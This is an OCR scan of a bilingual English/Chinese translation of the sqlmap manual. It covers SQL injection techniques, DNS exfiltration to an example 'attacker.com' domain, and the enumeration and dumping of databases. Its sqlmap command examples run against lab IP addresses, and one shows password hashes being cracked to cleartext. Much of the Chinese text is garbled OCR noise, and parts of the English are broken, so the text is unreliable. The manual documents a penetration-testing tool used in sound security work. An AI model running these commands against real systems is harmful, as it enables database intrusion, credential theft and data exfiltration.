AEAE WRX G G B E B A veoaTe B A BEATIEN DA A orK A
Hipayload<xf il E AT B0 XA RE R Bl & /M E T AR 2. RALMLE
i & Re e 42 IV E N payload.  A#H.OEANFT ™ AR 5 RN x4 g
RAIXAEDT R fExnl/payloads.xml XA FARAT EAXpayloadidt 47 5 2.

Page comparison

I Options: --string, --not-string, --regexp and --code

By default the distinction of a True query from a False one
(rough concept behind boolean-based blind SQL injection
vulnerabilities) is done by comparing the injected requests
page content with the original not injected page content.

=>



BRANE B T sqlmap A FH Af 2R BB 5 VA A2 G e 15 w0 N2 AT A R i S 2 T 45 (X 3]
oK Wy A 15 A7 AEEN [

Not always this concept works because sometimes the page
content changes at each refresh even not injecting anything,
for instance when the page has a counter, a dynamic
advertisement banner or any other part of the HTML which is
rendered dynamically and might change in time not only
consequently to user's input. To bypass this limit, sqglmap
tries hard to identify these snippets of the response bodies
and deal accordingly. Sometimes it may fail, that is why the
user can provide a string (--string option) which should be
present on original page (though it is not a requirement) and
on all True injected query pages, but that it is not on the
False ones. Instead of static string, the user can provide a
regular expression (--regexp option). Alternatively, user can
provide a string (--not-string option) which is not present on
original page and not on all True injected query pages, but
appears always on False ones.

=&

IR IR AT B IR HR GE BT R 9] 2 AL AN 0 N A A B 2 JE T A A
RAEZRN, RERGSAEDSHERG BN HEES ISR, B &
R I E 2 EAHA T MAR S H T ERAR A X RR
M), N TS XF IR sqlmap /I B 6 B 78 M B A 54 B8 IR X 70 IR .
RN B ZR PG (B e S el ot e AR I, ISR P i AT RAAE A - -
stringE IR L HE — A KA 72 1L Wi N K U A B, R T B A 2 B
TR, WMRFHFBARFSHMAZSSH A2 /RAT LIS i A 1E 0 %k 50 --
regexpﬂéﬁﬁﬁ7 ] B¢ ﬁif@:--not-stringiﬁiiﬁﬁiﬂUsf/%@itg/l\/qﬁﬁ:%i%ﬁﬁ
EASHIK R .

Such data is easy for an user to retrieve, simply try to inject
into the affected parameter an invalid value and compare
manually the original (not injected) page content with the
injected wrong page content. This way the distinction will be

based upon string presence or regular expression match.



=>
3

TR R B IR R TA SR UL BC A PR T S A2 BB B B O AN R A i
Xt i T

DT PR S A B G X R IX g A A RE 8 TE N

In cases when user knows that the distinction of a True query
from a False one can be done using HTTP code (e.g. 200 for True
and 401 for False), he can provide that information to sqlmap
(e.g. --code=200).

=>

A SR AS ] 5 0 TE AT DLIE I HTTPAR S A K X I L 5 1O T B2 ) 3% (2000 IE
W, 401 NEER) AR LB --code=200K " sqlmap

Switches: --text-only and --titles

from a False one can be done using HTML title (e.g. Welcome for
True and Forbidden for False), he can turn turn on title-based
comparison using switch --""titles.

=>

a0 SR A% ) o RN OE IR %i%ﬂrﬂfﬁzrﬂE‘JHTML*%@E‘JIZ%'J(@HﬁBWelcomﬁ'yEﬁ,
Forbidden AfHiR) AT OB AL --tit1es R EBHTMLER A AN [F] K 2
/Nsqlmapse &5 BEAEVE N

In cases with lot of active content (e.g. scripts, embeds,
etc.) in the HTTP responses' body, you can filter pages (switch
--text-only) just for their textual content. This way, in a
good number of cases, you can automatically tune the detection
engine.

=>

G R AEHT TP B AR A7 AL KB IAS . B 2 % P A R A 2R o R ] o A A - -
text-onlyX k1T i ik

## REREIBOR

These options can be used to tweak testing of specific SQL
injection techniques.

=>

‘ In cases when user knows that the distinction of a True query
#


af://n1919

XA 38 T AT AR BE R R 1 SQLIE AN AR

SQL injection techniques to test for => ZHMEE

Option: --technique

This option can be used to specify which SQL injection type to
test for. By default sqglmap tests for all types/techniques it
supports.

=>

--techniquelt WA K 18 € SQLVE NI AT Fpayload 2R 8 BRINE M T 24
IS

In certain situations you may want to test only for one or few
specific types of SQL injection thought and this is where this
option comes into play.

=>

XA 16 T A E A= R T (S R AE A E SRR O T RE S R BEAT — MR ALSQLIEA

This option requires an argument. Such argument is a string
composed by any combination of B, E, U, S, T and Q characters
where each letter stands for a different technique:

=>X AN ILETA LL T LN S

B: Boolean-based blind => ffi/K#!

E: Error-based => fix7%A!

U: Union query-based => BEt& £ if)

S: Stacked queries => fR#f)

T: Time-based blind => HKf[EHE

0: Inline queries => WNELE i)

For instance, you can provide ES if you want to test for and
exploit error-based and stacked queries SQL injection types
only. The default value is BEUSTO.

=>

MEANEET ——technique=ESTE~sqlmap (¥ fi F &% & DL L AR 2 fipayload
BN A T A payload



Note that the string must include stacked queries technique
letter, S, when you want to access the file system, takeover
the operating system or access Windows registry hives.

=>

FEE RO WA VEM R SO B0 AT B MR VS 55 B E o7

Seconds to delay the DBMS response for time-based blind SQL

injection
I Option: --time-sec

It is possible to set the seconds to delay the response when

testing for time-based blind SQL injection, by providing the --

time-sec option followed by an integer. By default it's value
is set to 5 seconds.

=>

5 3 AT B 18] 5 ¥ 19 B A% AT DA FH - - € ime - s e o SR X I 3K 1 B () 4 R 3 4718 o (2
e RHCRT) BRINT 25

Number of columns in UNION query SQL injection

I Option: --union-cols

By default sqlmap tests for UNION query SQL injection technique

using 1 to 10 columns. However, this range can be increased up
to 50 columns by providing an higher --level value. See the
relevant paragraph for more details.

=>

NG OL T sqlmap#t TR G AWM TEE Z1-10 HEERH--leve l HE T
WK & 25 i 0 FEDBOK f il ik 50

You can manually tell sglmap to test for this type of SQL
injection with a specific range of columns by providing the
tool with the option --union-cols followed by a range of
integers. For instance, 12-16 means tests for UNION query SQL
injection by using 12 up to 16 columns.

=>



[FEAEAR AT L IS --union-cols R E MR AR Z I E RIFEAE N B2 — %
H1H

Character to use to test for UNION query SQL injection

I Option: --union-char

By default sqlmap tests for UNION query SQL injection technique
using NULL character. However, by providing a higher --level
value sqglmap will performs tests also with a random number
because there are some corner cases where UNION query tests
with NULL fail, whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL
injection with a specific character by using option --union-
char with desired character value (e.g. --union-char 123).

=>

ERIN T sqlmapfEBE 47 Ik & Il 1 i i s ) BB vonn (B2 fEleve A B M
00T R — A BB AT R I P Oy £ BE SRS R 1 00 R A oL & R I
SR T R A {E HD BE AT

Table to use in FROM part of UNION query SQL injection
I Option: --union-from

In some UNION query SQL injection cases there is a need to
enforce the usage of valid and accessible table name in FROM
clause. For example, Microsoft Access requires usage of such
table. Without providing one UNION query SQL injection won't be
able to perform correctly (e.g. --union-from=users).

=>

G B 25 P TROMIE ) 0 I 0 7 B AR AR M — AN IR REBER R 4
BN AccessHi i ERXFH—NRAL BA BIHIR T RES H A& MR

DNS exfiltration attack

I Option: --dns-domain



DNS exfiltration SQL injection attack is described in paper
Data Retrieval over DNS in SQL Injection Attacks, while
presentation of it's implementation inside sqlmap can be found
in slides DNS exfiltration using sqglmap.

=>

SQLE N ff FHDNSIR B H 4l H Ak ipaper AT LLZ 25 bk (04 #%

If user is controlling a machine registered as a DNS domain
server (e.g. domain attacker.com) he can turn on this attack by
using this option (e.g. --dns-domain attacker.com).
Prerequisites for it to work is to run a sqglmap with
Administrator privileges (usage of privileged port 53) and that
one normal (blind) technique is available for exploitation.
That's solely the purpose of this attack is to speed up the
process of data retrieval in case that at least one technique
has been identified (in best case time-based blind). In case
that error-based blind or UNION query techniques are available
it will be skipped as those are preferred ones by default.

=>

MR EHHFF LA — 60 DU DNSHR 55 &5 ik o7 DUfSE A 3 o o K 1) B i
R E A A HT IR R AR A sqlmapse B B GAUR IEAEIE AT B (R 2 2535 1) 1
HEDH MG FBEATH, XL H B ZN 7P 53R
R e 22 /> — R By T B B 0 (I I TR B IE) , WiREHRTE . BRk&
& A RENS T R TE 82 BRI B0 T B I BR A BT A I TR) B U R

Second-order attack

I Option: --second-order

Second-order SQL injection attack is an attack where result(s)
of an injected payload in one vulnerable page is shown
(reflected) at the other (e.g. frame). Usually that's happening
because of database storage of user provided input at the

original vulnerable page.



You can manually tell sqlmap to test for this type of SQL

injection by using option --second-order with the URL address

of the web page where results are being shown.

=5

THHEANRIEE E RRASEENIE R EREERSRIE R HI A

TR ZETHE S RIER R BUd i) B4 W B4 78 58 = i B ik
g, XA IR I R 5 T ER A B2 s 45 R U RJURL

##4 WSGRT

Extensive database management system fingerprint
I Switches: -f or --fingerprint

By default the web application's back-end database management
system fingerprint is handled automatically by sglmap. Just
after the detection phase finishes and the user is eventually
prompted with a choice of which vulnerable parameter to use
further on, sqlmap fingerprints the back-end database
management system and continues on with the injection by
knowing which SQL syntax, dialect and queries to use to proceed
with the attack within the limits of the database architecture.
=5

BN OL T sqlmap2s H 3R allweb N B FH B #088 FE 8 80, E15 A1 H b 204
Ja  sqlmap£x R 45 BT 3R BUH H s B A SR B 3 K& 5 Z X M payload.

If for any instance you want to perform an extensive database
management system fingerprint based on various techniques like
specific SQL dialects and inband error messages, you can
provide the switch --fingerprint. sqlmap will perform a lot
more requests and fingerprint the exact DBMS version and, where
possible, operating system, architecture and patch level.

=>

AR ARE N B O 7%k WJﬁD%ﬁFSQL%ﬁE’J%{E&%EWH%H’J HikfE B RAT
OB --fingerprint KIEE, sqlmapzilid K& A1E K K i % DBMS i hix
K. BIERGZENER -


af://n2067

If you want the fingerprint to be even more accurate result,
you can also provide the switch -b or --banner.
=>>

HH-b BH--banner W] LU 55 F T 4 K

e M2

These options can be used to enumerate the back-end database
management system information, structure and data contained in
the tables. Moreover you can run your own SQL statements.

=>

REEB AT HTHEEPA SN EmBEEERRGELE, SHMEYE, WA
LAIRAT R B S IE f)

Retrieve all

Switch: --all

This switch can be used in situations where user wants to
retrieve everything remotely accessible by using a single
switch. This is not recommended as it will generate large
number of requests retrieving both useful and unuseful data.

=>

fif P I AN R AR AT BAR BT A A EdE = SR 3K A 18 T AE A AE K R A B A I
AN WAt A

Banner

Switch: -b or --banner

Most of the modern database management systems have a function
and/or an environment variable which returns the database
management system version and eventually details on its patch
level, the underlying system. Usually the function is version()
and the environment variable is @@version, but this vary
depending on the target DBMS.

=>


af://n2094

Z B BN WDBMSER A — AN R £ 8l & A 5 AR & 2 B TR [ 50408 PR i A . B
s H AR —EEAE R B E RN R R T R Eversion() HMIFLTEZ
eGeversion 1H & BRI IEZFE HFFDBMS,

Example against an Oracle target:

$ python sglmap.py -u
"http://192.168.136.131/sglmap/oracle/get int.php?id=1" --

banner

[ ] [INFO] fetching banner

web application PHP > Apache

back-end Oracle

'Oracle Database 10g Enterprise Edition Release 10.2.6.1.0 - Prod’

Session user
Switch: --current-user

With this switch it is possible to retrieve the database
management system's user which is effectively performing the

query against the back-end DBMS from the web application.

>

X AN 3% T AR & F T 3k B we b N FH BT 28 22 1 B 38 2 16 R P
Current database
Switch: --current-db

With this switch it is possible to retrieve the database
management system's database name that the web application is
connected to.

=>

XA 6 T AR 2 T 3K B we b B2 F T 328 482 1) 250488 P2 1) 44 AR


http://192.168.136.131/sqlmap/oracle/get_int.php?id=1

Server hostname
Switch: --hostname

With this switch it is possible to retrieve the database
management system’'s hostname.
=5

SR HUDBMS [ F ML 4 Fi
Example against a MySQL target:

$ python sglmap.py -u
"http://192.168.136.131/sglmap/mysqgl/get_int.php?id=1" --

hostname

] [INFO] fetching server hostname

] [INFO] debian-5.0-1386

‘debian-5.0-1386"

Detect whether or not the session user is a database administrator
Switch: --is-dba

It is possible to detect if the current database management
system session user is a database administrator, also known as

DBA. sqlmap will return True if it is, vice versa False.

i 3 XA~ 3% TR AT AR HR 4 R OR BT B A B0 2 R R A O HE R R EE A
BA

(DBA) sqlmap=iR[E|lTruedBH False
List database management system users

Switch: --users


http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

When the session user has read access to the system table
containing information about the DBMS users, it is possible to
enumerate the list of users.

=5

IR sqlmapiZ b H A Hode 2 i HOE S R 89 P A 2 % B BUR B 1 w] DA
3R AN 30 TR M2 Hodis B B A 9 P

List and crack database management system users password hashes

Switch: --passwords

When the session user has read access to the system table
containing information about the DBMS users’' passwords, it is
possible to enumerate the password hashes for each database
management system user. sqlmap will first enumerate the users,
then the different password hashes for each of them.

=>

SRR R0 BB BUR B4 sqlmap il BE % Bt N B 2 48 3% ok 3R B 7 3 Y 1Y
Me Ay, H SR IREA R S AT P S S B P I hash{E 4R Ja /2 F AR P .

Example against a PostgreSQL target:

$ python sqglmap.py -u
"http://192.168.136.131/sglmap/pgsqgl/get int.php?id=1" --

passwords -v 1


http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1

back-end DBMS: PostgreSQL

[hh:mm:38] [INFO] fetching database users password hashes

do you want to use dictionary attack on retrieved password hashes? [Y/n/q] ¥y

[hh:mm:42] [INFO] using hash method: ‘postgres_passwd’

what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt®
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres passwd)
[hh:mm:49] [INFO] found: ‘'testpass’' for user: "testuser’

[hh:mm:50] [INFO] found: 'testpass’' for user: ‘postgres’

database management system users password hashes:

[*] postgres [1]:

password hash: md5d7d880196044b72d0bbal@8ace96dled

clear-text password: testpass

[*] testuser [1]:

password hash: md599e5ea7a6f7c3269995cba3927fdee93

clear-text password: testpass

Not only sglmap enumerated the DBMS users and their passwords,
but it also recognized the hash format to be PostgreSQL, asked
the user whether or not to test the hashes against a dictionary

file and identified the clear-text password for the postgres

user, which is usually a DBA along the other user, testuser,
password.
=5

sqlmap A £DBMS 1) 7 LA K Af AT %5 A ik 2 38 i At AT i ha s h % =Xk 7 51
EPostgreSQLE#E & (PostgreSQLEHE E BRI\ P & B /& postgres) [A AT
sqlmapih A] UL A GE B % 69 6T B i hashiE #4307 B SC% RS o



This feature has been implemented for all DBMS where it is
possible to enumerate users’' password hashes, including Oracle
and Microsoft SQL Server pre and post 2005.

=>

HARFT A M A (Oracle. Mssql—28[) gt vl PLSRECH 35 18 i hash{l

You can also provide the option -U to specify the specific user
who you want to enumerate and eventually crack the password
hash(es). If you provide CU as username it will consider it as
an alias for current user and will retrieve the password
hash(es) for this user.

=>

BN AR AT LB - vk IR AR € P = S Kihashfd R K2 -cu
23R HUH A 2 T P R B S B S hash

List database management system users privileges

Switch: --privileges

When the session user has read access to the system table
containing information about the DBMS users, it is possible to
enumerate the privileges for each database management system
user. By the privileges, sqlmap will also show you which are
database administrators.

=&

IR EREAE EH A 28R SRR B4 sqlmap A8 M 2s B4 P
WA RBR 8RR IR BE 0% 3K J AN A2 Hdls 22 3 G

You can also provide the option -U to specify the user who you
want to enumerate the privileges.
=>

FIFE @ -v REEEE 2482 A B BLR

If you provide CU as username it will consider it as an alias
for current user and will enumerate the privileges for this
user.

=>



I -CU & 2RI BT 2 B BodE T AR

On Microsoft SQL Server, this feature will display you whether
or not each user is a database administrator rather than the
list of privileges for all users.

=>

fEMssql B OL R 2 o RS A 7 = 8 2R 03 Mo AN S S8 B A F P RS AR A1
ok

List database management system users roles
I Switch: --roles

When the session user has read access to the system table
containing information about the DBMS users, it is possible to
enumerate the roles for each database management system user.
=>

AR Beas S ECH P A G (ARG MRS )

You can also provide the option -U to specify the user who you
want to enumerate the privileges.
=>

R -uR s hfe el At

If you provide CU as username it will consider it as an alias
for current user and will enumerate the privileges for this
user.

=>

-CuUsE 2 /I BHE B A IE SR R B AR

This feature is only available when the DBMS is Oracle. =>

emmmm..... R 5 fEOracle s & T 4 B
List database management system's databases
I Switch: --dbs

When the session user has read access to the system table
containing information about available databases, it is

possible to enumerate the list of databases.



=>

HRR T R LAF B A HodE

Enumerate database’s tables

Switches and option: --tables, --exclude-sysdbs and -D

When the session user has read access to the system table
containing information about databases' tables, it is possible
to enumerate the list of tables for a specific database
management system's databases.

=>

B DR G RR T W] LA A A R AR, -
exclude-sysdbs AFIH RS H WK EHE

If you do not provide a specific database with option -D,
sglmap will enumerate the tables for all DBMS databases.
=>

i FH - D1 AT 16 5 B8 B B0 U o 98 Ui AT 0 B A ISR AR A1 Ok

You can also provide the switch --exclude-sysdbs to exclude all
system databases.

Note that on Oracle you have to provide the TABLESPACE NAME
instead of the database name.

=>

ftoracle ™ R ERMEA £ raBLESPACE NAME T A2 BRI 4 R

Enumerate database table columns

Switch and options: --columns, -C, -T and -D

When the session user has read access to the system table
containing information about database’'s tables, it is possible
to enumerate the list of columns for a specific database table.
sqlmap also enumerates the data-type for each column.

=5

IR 205 B BEBCIR I R A0 R AR S B B R T B SR SR A
SERAIER, -p -7 -cRXAERE A HE B RS R B



This feature depends on option -T to specify the table name and
optionally on -D to specify the database name. When the
database name is not specified, the current database name is
used. You can also provide the -C option to specify the table
columns name like the one you provided to be enumerated.

=>

VR R A R 1R B B R & 8 A 2 i BT o 4 A B R
Example against a SQLite target:

$ python sglmap.py -u
"http://192.168.136.131/sqglmap/sqlite/get int.php?id=1" --

columns -D testdb -T users -C name

Database: SQLite masterdb
Table: users

[3 columns]

e e +

| Column | Type |
Fommmmm e e +

| id | INTEGER |

| name | TEXT |

| surname | TEXT

ettt +ommm oo - +

Note that on PostgreSQL you have to provide public or the name
of a system database. That's because it is not possible to
enumerate other databases tables, only the tables under the
schema that the web application's user is connected to, which

is always aliased by public.


http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1

=>

EE R EPostgreSQLEHE I 1E /R T BEi& fftpublicBLE R 4 B0 1) 44
T, XER N A EEweb N H ERE FREIEER R 2B Mpublick L A4 MR
MM B E TR

Enumerate database management system schema
Switches: --schema and --exclude-sysdbs

User can retrieve a DBMS schema by using this switch. Schema
listing will contain all databases, tables and columns,
together with their respective types. In combination with --
exclude-sysdbs only part of the schema containing non-system
databases will be retrieved and shown.

=>

A XA T AR A LR EDBMS AL X A S HBEE . R FERIAOGE --
exclude-sysdbsH AEE RGN HIEETHER

Example against a MySQL target:

$ python sglmap.py -u
"http://192.168.48.130/sqglmap/mysql/get_int.php?id=1" --schema-

-batch --exclude-sysdbs

Database: owaspl@
Table: accounts

[4 columns]

mysignature | text

password | text

username | text



http://192.168.48.130/sqlmap/mysql/get_int.php?id=1

Database: owaspl@
Table: blogs table

[4 columns]

| datetime |
| blogger name | text |
| cid | int(11) |

| comment | text

Database: owaspl@
Table: hitlog

[6 columns]

| datetime |

browser | text

cid | int(

hostname | text
ip | text

referer |

Database: testdb

Table: users

[3 columns]

e B T -

| Column | Type




| id | int(11)

| name | varchar(

| surname | varchar(

Retrieve number of entries for table(s)
Switch: --count

In case that user wants just to know the number of entries in
table(s) prior to dumping the desired one, he can use this
switch.

=>

R B R P FBHEMZ D> Db IRBEAT Pk 7 {8 F %
Example against a Microsoft SQL Server target:

$ python sqlmap.py -u
"http://192.168.21.129/sqlmap/mssqgl/iis/get _int.asp?id=1" --

count -D testdb

| dbo.users |

| dbo.users_blob |

e +o----m--- +



http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1

Dump database table entries

Switch and options: --dump, -C, -T, -D, --start, --stop, --

first, --last, --pivot-column and --where

When the session user has read access to a specific database's
table it is possible to dump the table entries.
=>

A AR TR R4 /R AT BLT 803 o 1 B dfs

name and optionally on option -D to specify the database name.
If the table name is provided, but the database name is not,
the current database name is used.

=>

-DH TR EHEE-TH TIREETHR FE RAES Bl E 4 EA RN

This functionality depends on option -T to specify the table
T BRI 2 i B Y B I A

Example against a Firebird target:

"http://192.168.136.131/sqlmap/firebird/get int.php?id=1" --

| $ python sqlmap.py -u

dump -T users


http://192.168.136.131/sqlmap/firebird/get_int.php?id=1

Database: Firebird_masterdb

Table: USERS

[4 entries]

e Ho--mmmmm— - +

| ID | NAME | SURNAME |
+-------- Ho--mmmmm— - +
| luther | blisset

| fluffy | bunny

| wu | ming

| | nameisnull |

+o------- Fommmmmm - +

This switch can also be used to dump all tables' entries of a
provided database. You simply have to provide sqlmap with the

switch --dump along with only the option -D (no -T and no -C).

1
\4

BTRAENEEFREENIE ARMAR-D --dumpfdF 7 B E-c

=
KRN TB (E-1)

You can also provide a comma-separated list of the specific
columns to dump with the option -cC.

sglmap also generates for each table dumped the entries in a
CSV format textual file. You can see the absolute path where
sgqlmap creates the file by providing a verbosity level greater
than or equal to 1.

=>

sqlmap N #HH WG BB BAAER K H KT A Lcsvigi



If you want to dump only a range of entries, then you can
provide options --start and/or --stop to respectively start to
dump from a certain entry and stop the dump at a certain entry.
For instance, if you want to dump only the first entry, provide
--stop 1 in your command line. Vice versa if, for instance, you
want to dump only the second and third entry, provide --start 1
--stop 3.

=>

It --start B --stop VREEMS T EARTE E o Bl 8 dE 2R X248 308 —
I AT DFE A --stop 1 A MBEMETEHE _F=I AJLIEH--start 1 --

stop 3

It is also possible to specify which single character or range
of characters to dump with options --first and --last. For
instance, if you want to dump columns' entries from the third
to the fifth character, provide --first 3 --last 5. This feature
only applies to the blind SQL injection techniques because for
error-based and UNION query SQL injection techniques the number
of requests is exactly the same, regardless of the length of
the column's entry output to dump.

=>

FIFE R LB fE--first --last REMARANBE R Z DT REE T
KIFG . SRMTEE Flin--first 3 --1last 5 BEABRE THE=ZFFLAN
TR HEXIRGEEENARET IAEFHRMEMKREERNT wROLH
e R RS2 B Oy T BOR K B T e AR

Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB)
it is not possible to dump the table rows straightforward by
using OFFSET m, n mechanism because of lack of similar. In such
cases sglmap dumps the content by determining the most suitable
pivot column (the one with most unique values) whose values are
used later on for retrieval of other column values. If it is
necessary to enforce the usage of particular pivot column

because the automatically chosen one is not suitable (e.g.



because of lack of table dump results) you can use option --
pivot-column (e.g. --pivot-column=id).

=>

BE LA BL R B O AR DL BE B0 [ R AR 2 R oFFSET m, nRELFE T EHRAK P
TR (Fl MsSQL, Sybase, SAP MaxDB) iXFIf It T sqlmapif i & | & & i&
Hipivot B (RN A & ME— 08, M TANEAMmTBRE) wRER T EET
BWRLEHFEHNBLT R LB E M --pivot-column RIEEMRE T HHKEAD
T BUNE

In case that you want to constraint the dump to specific column
values (or ranges) you can use option --where. Provided logical
operation will be automatically used inside the WHERE clause.
For example, if you use --where=";id>;3"; only table rows having
value of column id greater than 3 will be retrieved (by
appending WHERE id>;3 to used dumping queries).

=>

fEH --where FRTLLIRE P EARIT 5 ZOEE R /REA] IAEwnEreE &) f
RALZHIEH HlU--where=";id>;3"; XFEARLREE <R YE IR BT 8 4 FIWHERE &
) SR AT HH X S Y 32 4 15 1

As you may have noticed by now, sglmap is flexible: you can
leave it to automatically dump the whole database table or you
can be very precise in which characters to dump, from which
columns and which range of entries.

=>

VAR C LR LB T sqlmapsdt 70 R kU /R AT BL4S At Al — 4> Vi
ibJa ikt B kT #C8E A X A B RO

Dump all databases tables entries
I Switches: --dump-all and --exclude-sysdbs

It is possible to dump all databases tables entries at once
that the session user has read access on.

You can also provide the switch --exclude-sysdbs to exclude all
system databases. In that case sqlmap will only dump entries of

users' databases tables.



Note that on Microsoft SQL Server the master database is not
considered a system database because some database
administrators use it as a users’' database.

=

PP AE R 0% R AR TR ) DB R i A AR B8 2 P i A E B R #0R K

i --exclude-sysdbs ¥R A LAFE T 8 M R HEER 0 6 B0 R B E X
FEsalmap R & & 7 HEdE 2 DA SR .

TERAEMSSQLF master[EREABINAE R R Gt B8 e K Oy L S 33 2 2 i =~ 4
CAEN— AR

Search for columns, tables or databases

I Switch and options: --search, -C, -T, -D

This switch allows you to search for specific database names,
specific tables across all databases or specific columns across
all databases’ tables.

=>

XL R AL R IR E AU 4 Y. RABEE 2 T B4

This is useful, for instance, to identify tables containing
custom application credentials where relevant columns’' names
contain string like name and pass.

=>

R AL S MR B E E KB FEIER B30 name . pass &+ H
K

Switch --search needs to be used in conjunction with one of the
following support options:

=>

FEAL FH - - search i I /R 6 ZiH B BLF a8 T A 3 — A

-Cc following a list of comma-separated column names to look for
across the whole database management system.

=>

¢ MEABNRGTHERNFBRL (ZMEHE ST 72 6)

-T following a list of comma-separated table names to look for

across the whole database management system.



=>

-T REAERGPTHRINEL ZAPHESHIT

-D following a list of comma-separated database names to look
for across the database management system.

=>

o FIEMBBIE N 4T 2SS

Run custom SQL statement

Option and switch: --sgl-query and --sgl-shell

The SQL query and the SQL shell features allow to run arbitrary
SQL statements on the database management system. sqlmap
automatically dissects the provided statement, determines which
technique is appropriate to use to inject it and how to pack
the SQL payload accordingly.

=>

Bl S M3 e o B $01T SQLZE I DA 2 SQLshel1fIFF 76 sqlmap s id /74 2 1 soL
A HARRXWEENB AR X payload ) 4 i A fir < Bk

If the query is a SELECT statement, sglmap will retrieve its
output. Otherwise it will execute the query through the stacked
query SQL injection technique if the web application supports
multiple statements on the back-end database management system.
Beware that some web application technologies do not support
stacked queries on specific database management systems. For
instance, PHP does not support stacked queries when the back-
end DBMS is MySQL, but it does support when the back-end DBMS
is PostgreSQL.

=>

MR R A sELEcT# AT I A sqlmap Wil AT & WM. WR H b5 R
PESCHF 2 RE A G H 2 PATHER EHRFATIEAN, FEEERZE — Hwebl
FHAE JE S0 RE 58 B 30 e B R A KRR A ) 140 PHP+My SQL A AN R A FH HEAR &
#] {H Zphp+PostgreSQLIKH I 5t Al LA,

Examples against a Microsoft SQL Server 2000 target:



$ python sglmap.py -u
"http://192.168.136.131/sglmap/mssqgl/get int.php?id=1" --sql-

query "SELECT 'foo'" -v 1

] [INFO] fetching SQL SELECT query "SELECT "foo''

[ 1 [INFO] foo

SELECT 'foo':

$ python sglmap.py -u
"http://192.168.136.131/sglmap/mssqgl/get_int.php?id=1" --sql-

query "SELECT 'foo', 'bar'" -v 2


http://192.168.136.131/sqlmap/mssql/get_int.php?id=1
http://192.168.136.131/sqlmap/mssql/get_int.php?id=1

[hh:mm:5@] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'’
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST({(CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR ( )), (CHAR(32)))

[hh:mm:5@] [INFO] retrieved: foo

[hh:mm:50] [DEBUG] performed queries in © seconds

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA

RCHAR( )}, (CHAR(32)))
[hh:mm:5@] [INFO] retrieved: bar
[hh:mm:58] [DEBUG] performed queries in @ seconds

SELECT 'foo', 'bar': ‘foo, bar'

As you can see, sqlmap splits the provided query into two
different SELECT statements then retrieves the output for each
separate query.

If the provided query is a SELECT statement and contains a FROM
clause, sglmap will ask you if such statement can return
multiple entries. In that case the tool knows how to unpack the
query correctly to count the number of possible entries and
retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement
interactively, like a SQL console connected to the database
management system. This feature provides TAB completion and
history support too.

=>



IEGARFT W sqlmapi 32 (i & 7 &) 4 I DA F ) serecTig f) AR5 3k
HCAE AN BT ) B 4
R ARIR M BIEA) & sELEcTiBA) HHBEHAE S —/NrrovT A HAsqlmaps
)UK PR AR AR 35 ) 2 75 2 IR [ 2 B AR O T sqlmap AT Qi) 2% 8 £ 4
oy IF X R A K .

4 B

These switches can be used to run brute force checks.

Brute force tables names
I Switch: --common-tables

There are cases where switch --tables can not be used to
retrieve the databases' table names. These cases usually fit
into one of the following categories:

=>

AUTFOL I RIEAE A 1 --tablesRE AT BEIRHUA BB FE P R 2, X LB
T (I

The database management system is MySQL < 5.0 where
information schema is not available.

=>

B B R—MySQLE R A S /N F5. 0 fflinformation schemaJtiZ i

The database management system is Microsoft Access and system
table MSysObjects is not readable - default setting.

=>

B G E R Access H RGi R Msysobjects PR (BRIAN K BE)

The session user does not have read privileges against the
system table storing the scheme of the databases.

=>

BOA BAF it R GUAR 1B B BUR

If any of the first two cases apply and you provided the switch
--tables, sqglmap will prompt you with a question to fall back
to this technique. Either of these cases apply to your
situation, sqlmap can possibly still identify some existing

tables if you provide it with the switch --common-tables.


af://n2598

sglmap will perform a brute-force attack in order to detect the
existence of common tables across the DBMS.

=>

WRE —F - MBEHR B 7 HIREMEH T --tables sqlmap=$En & A BUIH
K EAE BRI T XBFER RERMH 7 --common-tablessqlmapth
REBE It — M 7R 032, s qlmapd it (0 FH 5 T A7 SR U0 0B e i T 77 7E 1
K, XMHHFBIEtxt/common-tables.txtH FRAT LI BT BB

The list of common table names is txt/common-tables.txt and you

can edit it as you wish.
Example against a MySQL 4.1 target:

$ python sqlmap.py -u
"http://192.168.136.129/mysqgl/get int 4.php?id=1" --common-

tables -D testdb --banner


http://192.168.136.129/mysql/get_int_4.php?id=1

:mm:39] [INFO] testing MySQL

:mm:39] [INFO] confirming MySQL

:mm:40] [INFO] the back-end DBMS is MySQL

:mm:40] [INFO] fetching banner

server operating system: Windows

application technology: PHP .1, Apache
back-end DBMS operating system: Windows
back-end DBMS: MySQL <

banner: '4.1.21-community-nt’

[hh:mm:4@] [INFO] checking table existence using items from '/software/sqglmap/tx
t/common-tables.txt’

[hh:mm:4@] [INFO] adding words used on web page to the check list

please enter number of threads? [Enter for (current)]

[hh:mm:43] [INFO] retrieved: users

Database: testdb

users

Brute force columns names
Switch:

As per tables, there are cases where switch can not
be used to retrieve the databases' tables' column names.

These cases usually fit into one of the following categories:

=>



I B R B AT AE A B AR AN BIR B L AR AL N T

The database management system is MySQL < 5.0 where
information schema is not available.

=5

e EMySQLA MR A S /N 5. 0 flinformation schema GVEA# A .
The database management system is Microsoft Access where this
kind of information is not available inside system tables.
=>

WG R Access H &Rt R MSysobjects PRI EE (BN R E)

The session user does not have read privileges against the
system table storing the scheme of the databases.

=>

B VATl B R G0AR AU 2 (0 BURR

If any of the first two cases apply and you provided the switch
--columns, sqlmap will prompt you with a question to fall back
to this technique. Either of these cases apply to your
situation, sqlmap can possibly still identify some existing
tables if you provide it with the switch --common-columns.
sqlmap will perform a brute-force attack in order to detect the
existence of common columns across the DBMS.

The list of common table names is txt/common-columns.txt and
you can edit it as you wish.

=>

